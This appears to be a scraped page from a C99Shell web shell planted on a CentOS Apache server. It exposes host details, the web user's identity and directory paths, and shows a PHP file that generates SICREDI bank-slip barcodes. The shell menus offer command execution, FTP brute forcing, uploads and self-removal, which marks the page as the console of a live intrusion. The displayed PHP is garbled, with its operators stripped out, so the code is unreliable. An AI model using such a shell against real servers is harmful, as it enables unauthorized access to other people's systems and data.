!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16. PHP/5.4.16 

uname -a: Linux roko-bkp 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64 

uid=48(apache) gid=48(apache) groups=48(apache),1003(webmaster) 

Safe-mode: OFF (not secure)

/var/www/html/site/ipanel/app/controller/   drwxr-xr-x
Free 9.15 GB of 93.48 GB (9.78%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     BoletoCtrl.php (15.03 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
// +----------------------------------------------------------------------+
// | BoletoPhp - Versão Beta                                              |
// +----------------------------------------------------------------------+
// | Este arquivo está disponível sob a Licença GPL disponível pela Web   |
// | em http://pt.wikipedia.org/wiki/GNU_General_Public_License           |
// | Você deve ter recebido uma cópia da GNU Public License junto com     |
// | esse pacote; se não, escreva para:                                   |
// |                                                                      |
// | Free Software Foundation, Inc.                                       |
// | 59 Temple Place - Suite 330                                          |
// | Boston, MA 02111-1307, USA.                                          |
// +----------------------------------------------------------------------+
// +----------------------------------------------------------------------+
// | Originado do Projeto BBBoletoFree que tiveram colaborações de Daniel |
// | William Schultz e Leandro Maniezo que por sua vez foi derivado do      |
// | PHPBoleto de João Prado Maia e Pablo Martins F. Costa                        |
// |                                                                                                         |
// | Se vc quer colaborar, nos ajude a desenvolver p/ os demais bancos :-)|
// | Acesse o site do Projeto BoletoPhp: www.boletophp.com.br             |
// +----------------------------------------------------------------------+
// +----------------------------------------------------------------------+
// | Equipe Coordenação Projeto BoletoPhp: <boletophp@boletophp.com.br>   |
// | Desenv Boleto SICREDI: Rafael Azenha Aquini <rafael@tchesoft.com>    |
// |                        Marco Antonio Righi <marcorighi@tchesoft.com> |
// | Homologação e ajuste de algumas rotinas.                                             |
// |                        Marcelo Belinato  <mbelinato@gmail.com>           |
// +----------------------------------------------------------------------+


$codigobanco "748";
$codigo_banco_com_dv geraCodigoBanco($codigobanco);
$nummoeda "9";
$fator_vencimento fator_vencimento($dadosboleto["data_vencimento"]);

//valor tem 10 digitos, sem virgula
$valor formata_numero($dadosboleto["valor_boleto"], 100"valor");
//agencia é 4 digitos
$agencia formata_numero($dadosboleto["agencia"], 40);
//posto da cooperativa de credito é dois digitos
$posto formata_numero($dadosboleto["posto"], 20);
//conta é 5 digitos
$conta formata_numero($dadosboleto["conta"], 50);
//dv da conta
$conta_dv formata_numero($dadosboleto["conta_dv"], 10);
//carteira é 2 caracteres
$carteira $dadosboleto["carteira"];

//fillers - zeros Obs: filler1 contera 1 quando houver valor expresso no campo valor
$filler1 1;
$filler2 0;

// Byte de Identificação do cedente 1 - Cooperativa; 2 a 9 - Cedente
$byteidt $dadosboleto["byte_idt"];

// Codigo referente ao tipo de cobrança: "3" - SICREDI
$tipo_cobranca 3;

// Codigo referente ao tipo de carteira: "1" - Carteira Simples 
$tipo_carteira 1;

//nosso número (sem dv) é 8 digitos
$nnum $dadosboleto["inicio_nosso_numero"] . $byteidt formata_numero($dadosboleto["nosso_numero"], 50);

//calculo do DV do nosso número
$dv_nosso_numero digitoVerificador_nossonumero("$agencia$posto$conta$nnum");

$nossonumero_dv "$nnum$dv_nosso_numero";

//formação do campo livre
$campolivre "$tipo_cobranca$tipo_carteira$nossonumero_dv$agencia$posto$conta$filler1$filler2";
$campolivre_dv $campolivre digitoVerificador_campolivre($campolivre);

// 43 numeros para o calculo do digito verificador do codigo de barras
$dv digitoVerificador_barra("$codigobanco$nummoeda$fator_vencimento$valor$campolivre_dv"90);

// Numero para o codigo de barras com 44 digitos
$linha str_replace(" """"$codigobanco$nummoeda$dv$fator_vencimento$valor$campolivre_dv");

// Formata strings para impressao no boleto
$nossonumero substr($nossonumero_dv02) . '/' substr($nossonumero_dv26) . '-' substr($nossonumero_dv81);
$agencia_codigo $agencia "." $posto "." $conta;

//echo $linha;

$dadosboleto["codigo_barras"] = $linha;
$dadosboleto["linha_digitavel"] = monta_linha_digitavel($linha);
$dadosboleto["agencia_codigo"] = $agencia_codigo;
$dadosboleto["nosso_numero"] = $nossonumero;
$dadosboleto["codigo_banco_com_dv"] = $codigo_banco_com_dv;

include 
"load_ipanel.php";
 if (!
class_exists("CobrancaCtrl")) {
     include 
"CobrancaCtrl.php";
 } 
 
 
$cobrancaCtrl = new CobrancaCtrl();
 
$cobrancaCtrl->saveLinhaDigitavel($_POST['idcobranca'], monta_linha_digitavel($linha));
    
function 
digitoVerificador_nossonumero($numero) {
    
$resto2 modulo_11($numero91);
    
// esta rotina sofrer algumas alterações para ajustar no layout do SICREDI
    
$digito 11 $resto2;
    if (
$digito 9) {
        
$dv 0;
    } else {
        
$dv $digito;
    }
    return 
$dv;
}

function 
digitoVerificador_campolivre($numero) {
    
$resto2 modulo_11($numero91);
// esta rotina sofreu algumas alterações para ajustar no layout do SICREDI
    
if ($resto2 <= 1) {
        
$dv 0;
    } else {
        
$dv 11 $resto2;
    }
    return 
$dv;
}

function 
digitoVerificador_barra($numero) {
    
$resto2 modulo_11($numero91);
// esta rotina sofrer algumas alterações para ajustar no layout do SICREDI
    
$digito 11 $resto2;
    if (
$digito <= || $digito >= 10) {
        
$dv 1;
    } else {
        
$dv $digito;
    }
    return 
$dv;
}

// FUNÇÕES
// Algumas foram retiradas do Projeto PhpBoleto e modificadas para atender as particularidades de cada banco

function formata_numero($numero$loop$insert$tipo "geral") {
    if (
$tipo == "geral") {
        
$numero str_replace(","""$numero);
        while (
strlen($numero) < $loop) {
            
$numero $insert $numero;
        }
    }
    if (
$tipo == "valor") {
        
/*
          retira as virgulas
          formata o numero
          preenche com zeros
         */
        
$numero str_replace(","""$numero);
        while (
strlen($numero) < $loop) {
            
$numero $insert $numero;
        }
    }
    if (
$tipo == "convenio") {
        while (
strlen($numero) < $loop) {
            
$numero $numero $insert;
        }
    }
    return 
$numero;
}

function 
fbarcode($valor) {

    
$fino 1;
    
$largo 3;
    
$altura 50;

    
$barcodes[0] = "00110";
    
$barcodes[1] = "10001";
    
$barcodes[2] = "01001";
    
$barcodes[3] = "11000";
    
$barcodes[4] = "00101";
    
$barcodes[5] = "10100";
    
$barcodes[6] = "01100";
    
$barcodes[7] = "00011";
    
$barcodes[8] = "10010";
    
$barcodes[9] = "01010";
    for (
$f1 9$f1 >= 0$f1--) {
        for (
$f2 9$f2 >= 0$f2--) {
            
$f = ($f1 10) + $f2;
            
$texto "";
            for (
$i 1$i 6$i++) {
                
$texto .= substr($barcodes[$f1], ($i 1), 1) . substr($barcodes[$f2], ($i 1), 1);
            }
            
$barcodes[$f] = $texto;
        }
    }


    
$texto $valor;
    
$tst $texto;
    
// echo $tst."<br>";
//Desenho da barra
//Guarda inicial
    
?><img src=img/boleto/p.gif width=<?=  $fino ?> height=<?=  $altura ?> border=0><img 
        src=img/boleto/b.gif width=<?=  $fino ?> height=<?=  $altura ?> border=0><img 
        src=img/boleto/p.gif width=<?=  $fino ?> height=<?=  $altura ?> border=0><img 
        src=img/boleto/b.gif width=<?=  $fino ?> height=<?=  $altura ?> border=0><img 

    <?php
    
if ((strlen($texto) % 2) <> 0) {
        
$texto "0" $texto;
    }
// Draw dos dados
    
while (strlen($texto) > 0) {
        
$i round(esquerda($texto2));
        
$texto direita($textostrlen($texto) - 2);
        
$f $barcodes[$i];
        for (
$i 1$i 11$i+=2) {
            if (
substr($f, ($i 1), 1) == "0") {
                
$f1 $fino;
            } else {
                
$f1 $largo;
            }
            
?>
                src=img/boleto/p.gif width=<?=  $f1 ?> height=<?=  $altura ?> border=0><img 
                <?php
                
if (substr($f$i1) == "0") {
                    
$f2 $fino;
                } else {
                    
$f2 $largo;
                }
                
?>
                src=img/boleto/b.gif width=<?=  $f2 ?> height=<?=  $altura ?> border=0><img 
                <?php
            
}
        }

// Draw guarda final
        
?>
        src=img/boleto/p.gif width=<?=  $largo ?> height=<?=  $altura ?> border=0><img 
        src=img/boleto/b.gif width=<?=  $fino ?> height=<?=  $altura ?> border=0><img 
        src=img/boleto/p.gif width=<?=  1 ?> height=<?=  $altura ?> border=0> 
        <?php
    
}

//Fim da função

    
function esquerda($entra$comp) {
        return 
substr($entra0$comp);
    }

    function 
direita($entra$comp) {
        return 
substr($entrastrlen($entra) - $comp$comp);
    }

    function 
fator_vencimento($data) {
        
//$data = split("/", $data);
        
$data explode("/"$data);
        
$ano $data[2];
        
$mes $data[1];
        
$dia $data[0];
        return(
abs((_dateToDays("1997""10""07")) - (_dateToDays($ano$mes$dia))));
    }

    function 
_dateToDays($year$month$day) {
        
$century substr($year02);
        
$year substr($year22);
        if (
$month 2) {
            
$month -= 3;
        } else {
            
$month += 9;
            if (
$year) {
                
$year--;
            } else {
                
$year 99;
                
$century--;
            }
        }
        return ( 
floor(( 146097 $century) / 4) +
                
floor(( 1461 $year) / 4) +
                
floor(( 153 $month 2) / 5) +
                
$day 1721119);
    }

    function 
modulo_10($num) {
        
$numtotal10 0;
        
$fator 2;

        
// Separacao dos numeros
        
for ($i strlen($num); $i 0$i--) {
            
// pega cada numero isoladamente
            
$numeros[$i] = substr($num$i 11);
            
// Efetua multiplicacao do numero pelo (falor 10)
            
$temp $numeros[$i] * $fator;
            
$temp0 0;
            foreach (
preg_split('//'$temp, -1PREG_SPLIT_NO_EMPTY) as $k => $v) {
                
$temp0+=$v;
            }
            
$parcial10[$i] = $temp0//$numeros[$i] * $fator;
            // monta sequencia para soma dos digitos no (modulo 10)
            
$numtotal10 += $parcial10[$i];
            if (
$fator == 2) {
                
$fator 1;
            } else {
                
$fator 2// intercala fator de multiplicacao (modulo 10)
            
}
        }

        
// várias linhas removidas, vide função original
        // Calculo do modulo 10
        
$resto $numtotal10 10;
        
$digito 10 $resto;
        if (
$resto == 0) {
            
$digito 0;
        }

        return 
$digito;
    }

    function 
modulo_11($num$base 9$r 0) {
        
/**
         *   Autor:
         *           Pablo Costa <pablo@users.sourceforge.net>
         *
         *   Função:
         *    Calculo do Modulo 11 para geracao do digito verificador 
         *    de boletos bancarios conforme documentos obtidos 
         *    da Febraban - www.febraban.org.br 
         *
         *   Entrada:
         *     $num: string numérica para a qual se deseja calcularo digito verificador;
         *     $base: valor maximo de multiplicacao [2-$base]
         *     $r: quando especificado um devolve somente o resto
         *
         *   Saída:
         *     Retorna o Digito verificador.
         *
         *   Observações:
         *     - Script desenvolvido sem nenhum reaproveitamento de código pré existente.
         *     - Assume-se que a verificação do formato das variáveis de entrada é feita antes da execução deste script.
         */
        
$soma 0;
        
$fator 2;

        
/* Separacao dos numeros */
        
for ($i strlen($num); $i 0$i--) {
            
// pega cada numero isoladamente
            
$numeros[$i] = substr($num$i 11);
            
// Efetua multiplicacao do numero pelo falor
            
$parcial[$i] = $numeros[$i] * $fator;
            
// Soma dos digitos
            
$soma += $parcial[$i];
            if (
$fator == $base) {
                
// restaura fator de multiplicacao para 2 
                
$fator 1;
            }
            
$fator++;
        }

        
/* Calculo do modulo 11 */
        
if ($r == 0) {
            
$soma *= 10;
            
$digito $soma 11;
            return 
$digito;
        } elseif (
$r == 1) {
            
// esta rotina sofrer algumas alterações para ajustar no layout do SICREDI
            
$r_div = (int) ($soma 11);
            
$digito = ($soma - ($r_div 11));
            return 
$digito;
        }
    }

    function 
monta_linha_digitavel($codigo) {

        
// COMPOSICAO DO CODIGO        
        // Posição | Larg | Conteúdo
        // --------+------+---------------
        // 1 a 3   |  03  | Identcação do banco
        // 4       |  01  | Código da Moeda - 9 para R$
        // 5       |  01  | Digito verificador geral do Código de Barras
        // 6 a 9   |  04  | Fator de Vencimento
        // 10 a 19 |  10  | Valor (8 inteiros e 2 decimais)
        // 20 a 44 |  25  | Campo Livre definido por cada banco (25 caracteres)
        //COMPOSICAO DA LINHA DIGITAVEL
        // 1. Campo - composto pelo código do banco, código da moéda, as cinco primeiras posições
        // do campo livre e DV (modulo10) deste campo
        
$p1 substr($codigo04);
        
$p2 substr($codigo195);
        
$p3 modulo_10("$p1$p2");
        
$p4 "$p1$p2$p3";
        
$p5 substr($p405);
        
$p6 substr($p45);
        
$campo1 "$p5.$p6";

        
// 2. Campo - composto pelas posiçoes 6 a 15 do campo livre
        // e livre e DV (modulo10) deste campo
        
$p1 substr($codigo2410);
        
$p2 modulo_10($p1);
        
$p3 "$p1$p2";
        
$p4 substr($p305);
        
$p5 substr($p35);
        
$campo2 "$p4.$p5";

        
// 3. Campo composto pelas posicoes 16 a 25 do campo livre
        // e livre e DV (modulo10) deste campo
        
$p1 substr($codigo3410);
        
$p2 modulo_10($p1);
        
$p3 "$p1$p2";
        
$p4 substr($p305);
        
$p5 substr($p35);
        
$campo3 "$p4.$p5";

        
// 4. Campo - digito verificador do codigo de barras
        
$campo4 substr($codigo41);

        
// 5. Campo composto pelo fator vencimento e valor nominal do documento, sem
        // indicacao de zeros a esquerda e sem edicao (sem ponto e virgula). Quando se
        // tratar de valor zerado, a representacao deve ser 000 (tres zeros).
        
$p1 substr($codigo54);
        
$p2 substr($codigo910);
        
$campo5 "$p1$p2";

        return 
"$campo1 $campo2 $campo3 $campo4 $campo5";
    }

    function 
geraCodigoBanco($numero) {
        
$parte1 substr($numero03);
//    $parte2 = modulo_11($parte1);
        
return $parte1 "-X";
    }
    
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0049 ]--